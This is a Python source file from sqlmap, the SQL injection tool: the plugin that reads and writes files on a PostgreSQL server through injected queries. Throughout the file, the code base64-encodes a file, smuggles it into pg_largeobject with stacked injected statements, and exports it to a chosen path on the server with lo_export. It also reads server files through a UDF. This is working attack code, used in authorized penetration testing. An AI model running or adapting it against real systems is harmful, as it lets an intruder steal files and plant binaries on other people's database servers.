sqlmap/plugins/dbms/postgresql/filesystem.py

118 lines
4.4 KiB
Python

#!/usr/bin/env python2
"""
Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
import os
from lib.core.common import randomInt
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import SqlmapUnsupportedFeatureException
from lib.request import inject
from plugins.generic.filesystem import Filesystem as GenericFilesystem
class Filesystem(GenericFilesystem):
def __init__(self):
self.oid = None
GenericFilesystem.__init__(self)
def stackedReadFile(self, rFile):
infoMsg = "fetching file: '%s'" % rFile
logger.info(infoMsg)
self.initEnv()
return self.udfEvalCmd(cmd=rFile, udfName="sys_fileread")
def unionWriteFile(self, wFile, dFile, fileType):
errMsg = "PostgreSQL does not support file upload with UNION "
errMsg += "query SQL injection technique"
raise SqlmapUnsupportedFeatureException(errMsg)
def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False):
wFileSize = os.path.getsize(wFile)
if wFileSize > 8192:
errMsg = "on PostgreSQL it is not possible to write files "
errMsg += "bigger than 8192 bytes at the moment"
raise SqlmapUnsupportedFeatureException(errMsg)
self.oid = randomInt()
debugMsg = "creating a support table to write the base64 "
debugMsg += "encoded file to"
logger.debug(debugMsg)
self.createSupportTbl(self.fileTblName, self.tblField, "text")
logger.debug("encoding file to its base64 string value")
fcEncodedList = self.fileEncode(wFile, "base64", False)
debugMsg = "forging SQL statements to write the base64 "
debugMsg += "encoded file to the support table"
logger.debug(debugMsg)
sqlQueries = self.fileToSqlQueries(fcEncodedList)
logger.debug("inserting the base64 encoded file to the support table")
for sqlQuery in sqlQueries:
inject.goStacked(sqlQuery)
debugMsg = "create a new OID for a large object, it implicitly "
debugMsg += "adds an entry in the large objects system table"
logger.debug(debugMsg)
# References:
# http://www.postgresql.org/docs/8.3/interactive/largeobjects.html
# http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html
inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
inject.goStacked("SELECT lo_create(%d)" % self.oid)
debugMsg = "updating the system large objects table assigning to "
debugMsg += "the just created OID the binary (base64 decoded) UDF "
debugMsg += "as data"
logger.debug(debugMsg)
# Refereces:
# * http://www.postgresql.org/docs/8.3/interactive/catalog-pg-largeobject.html
# * http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql
#
# NOTE: From PostgreSQL site:
#
# "The data stored in the large object will never be more than
# LOBLKSIZE bytes and might be less which is BLCKSZ/4, or
# typically 2 Kb"
#
# As a matter of facts it was possible to store correctly a file
# large 13776 bytes, the problem arises at next step (lo_export())
#
# Inject manually into PostgreSQL system table pg_largeobject the
# base64-decoded file content. Note that PostgreSQL >= 9.0 does
# not accept UPDATE into that table for some reason.
self.getVersionFromBanner()
banVer = kb.bannerFp["dbmsVersion"]
if banVer >= "9.0":
inject.goStacked("INSERT INTO pg_largeobject VALUES (%d, 0, DECODE((SELECT %s FROM %s), 'base64'))" % (self.oid, self.tblField, self.fileTblName))
else:
inject.goStacked("UPDATE pg_largeobject SET data=(DECODE((SELECT %s FROM %s), 'base64')) WHERE loid=%d" % (self.tblField, self.fileTblName, self.oid))
debugMsg = "exporting the OID %s file content to " % fileType
debugMsg += "file '%s'" % dFile
logger.debug(debugMsg)
# NOTE: lo_export() exports up to only 8192 bytes of the file
# (pg_largeobject 'data' field)
inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile), silent=True)
written = self.askCheckWrittenFile(wFile, dFile, forceCheck)
inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
return written